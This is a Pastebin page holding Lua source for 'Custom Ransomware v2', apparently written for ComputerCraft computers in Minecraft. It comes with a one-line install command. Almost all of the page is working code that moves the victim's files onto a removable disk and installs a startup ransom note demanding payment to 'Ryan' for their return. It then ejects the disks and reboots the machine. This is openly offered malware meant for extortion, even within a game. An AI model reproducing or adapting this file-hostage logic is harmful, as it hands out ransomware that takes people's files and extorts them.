Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Custom Ransomware v2 by SmilerRyan Install to your pocket computer on /startup
- -- Can carry around and explore files, bypasses infection of pocket devices.
- -- Install Command: pastebin get V7h6nzHv /startup
- if pocket then
- if term.isColor() then
- term.setTextColor(colors.yellow)
- end
- if fs.isDir("/r") then
- print("Pocket, backup Exists");
- else
- print("Pocket, No backup found");
- end
- return
- end
- if term.isColor() then
- term.setBackgroundColor(colors.red)
- term.setTextColor(colors.black)
- end
- shell.run("clear")
- print("Moving Files...")
- if fs.isDir("/disk/r") then
- fs.delete("/startup")
- local ignore={["disk"]=true,["rom"]=true}
- for _, filename in ipairs(fs.list("/disk/r")) do
- if not ignore[filename] then
- fs.move("/disk/r/"..filename, "/"..filename)
- end
- end
- fs.delete("/disk/r")
- else
- fs.makeDir("/disk/r");
- local ignore={["disk"]=true,["rom"]=true}
- for _, filename in ipairs(fs.list("")) do
- if not ignore[filename] then
- fs.move(filename, "/disk/r/"..filename)
- end
- end
- file = fs.open("/startup", "w")
- file.writeLine('if term.isColor() then')
- file.writeLine('term.setBackgroundColor(colors.red)')
- file.writeLine('term.setTextColor(colors.black)')
- file.writeLine('end')
- file.writeLine('term.clear()')
- file.writeLine('print("Note:")')
- file.writeLine('print("Your files on this computer have been removed!")')
- file.writeLine('print("The files can recovered if you follow the steps.")')
- file.writeLine('print("")')
- file.writeLine('print("Failure to follow these steps results in")')
- file.writeLine('print("losing these files. If you can\'t pay, remove this message:")')
- file.writeLine('print("")')
- file.writeLine('print("rm /startup")')
- file.writeLine('print("reboot")')
- file.writeLine('print("")')
- file.writeLine('print("Recovery Instructions:")')
- file.writeLine('print("Send a message to Ryan, pay the amount asked and wait for your disk (insert disk and reboot).")')
- file.writeLine('print("")')
- file.writeLine('print("Press any key to continue...")')
- file.writeLine('os.pullEvent("key")');
- file.writeLine('if term.isColor() then');
- file.writeLine('term.setBackgroundColor(colors.black)');
- file.writeLine('term.setTextColor(colors.yellow)');
- file.writeLine('end');
- file.writeLine('shell.run("clear")');
- file.writeLine('print(os.version())');
- file.close()
- end
- sleep(0)
- disk.eject("top")
- disk.eject("bottom")
- disk.eject("left")
- disk.eject("right")
- disk.eject("back")
- disk.eject("front")
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement